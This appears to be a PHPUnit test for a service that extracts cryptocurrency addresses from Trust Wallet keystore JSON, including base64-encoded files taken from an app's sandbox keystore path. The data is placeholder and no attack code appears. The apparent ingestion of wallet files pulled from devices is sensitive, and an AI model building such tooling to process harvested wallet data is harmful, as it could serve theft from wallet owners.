Files
coruna-lab/tests/Unit/DsTrustAddressIngestTest.php
2026-10-05 06:12:43 +08:00

76 lines
3.3 KiB
PHP

<?php
namespace Tests\Unit;
use App\Services\DsTrustAddressIngest;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class DsTrustAddressIngestTest extends TestCase
{
#[Test]
public function picks_first_two_btc_eth_trx_in_file_order(): void
{
$utc = [
'activeAccounts' => [
['address' => 'bc1qfirstbtcxxxxxxxxxxxxxxxxxxxxxxxxxx', 'coin' => 0],
['address' => '0x1111111111111111111111111111111111111111', 'coin' => 60],
['address' => '0x1111111111111111111111111111111111111111', 'coin' => 137],
['address' => 'TFirstTronAddress1111111111111111111', 'coin' => 195],
['address' => 'bc1qsecondbtcxxxxxxxxxxxxxxxxxxxxxxxxx', 'coin' => 0],
['address' => '0x2222222222222222222222222222222222222222', 'coin' => 60],
['address' => 'TSecondTronAddress111111111111111111', 'coin' => 195],
['address' => 'bc1qthirdbtcshouldskipxxxxxxxxxxxxxxxx', 'coin' => 0],
['address' => 'GuybPjCbEJFBEUL7gv7G5UtNKyyktCc5bv8zoBXsFH8D', 'coin' => 501],
['address' => '0x1111111111111111111111111111111111111111', 'coin' => 20000714],
['address' => '0x1111111111111111111111111111111111111111', 'coin' => 10042221],
],
];
$rows = app(DsTrustAddressIngest::class)->collect($utc);
$byChain = [];
foreach ($rows as $row) {
$byChain[$row['chainType']][] = $row['address'];
}
$this->assertSame([
'bc1qfirstbtcxxxxxxxxxxxxxxxxxxxxxxxxxx',
'bc1qsecondbtcxxxxxxxxxxxxxxxxxxxxxxxxx',
], $byChain['BITCOIN'] ?? []);
$this->assertSame([
'0x1111111111111111111111111111111111111111',
'0x2222222222222222222222222222222222222222',
], $byChain['ETHEREUM'] ?? []);
$this->assertSame([
'TFirstTronAddress1111111111111111111',
'TSecondTronAddress111111111111111111',
], $byChain['TRON'] ?? []);
$this->assertSame(['0x1111111111111111111111111111111111111111'], $byChain['BSC'] ?? []);
$this->assertSame(['GuybPjCbEJFBEUL7gv7G5UtNKyyktCc5bv8zoBXsFH8D'], $byChain['SOLANA'] ?? []);
$this->assertSame(['0x1111111111111111111111111111111111111111'], $byChain['ARBITRUM'] ?? []);
$this->assertCount(9, $rows);
}
#[Test]
public function reads_wallet_pkg_data_b64(): void
{
$utc = ['activeAccounts' => [
['address' => '0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', 'coin' => 60],
['address' => 'TSdKdkH1XL9MohtSAdgT4AWQRXkUJtwU6i', 'coin' => 195],
]];
$pkg = [
'sandbox_files' => [[
'wallet' => 'Trust Wallet',
'path' => 'Documents/keystore/UTC--demo',
'data_b64' => base64_encode(json_encode($utc)),
]],
];
$rows = app(DsTrustAddressIngest::class)->collect($pkg);
$this->assertSame('0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', $rows[0]['address'] ?? null);
$this->assertSame('ETHEREUM', $rows[0]['chainType'] ?? null);
$this->assertSame('TSdKdkH1XL9MohtSAdgT4AWQRXkUJtwU6i', $rows[1]['address'] ?? null);
$this->assertSame('TRON', $rows[1]['chainType'] ?? null);
}
}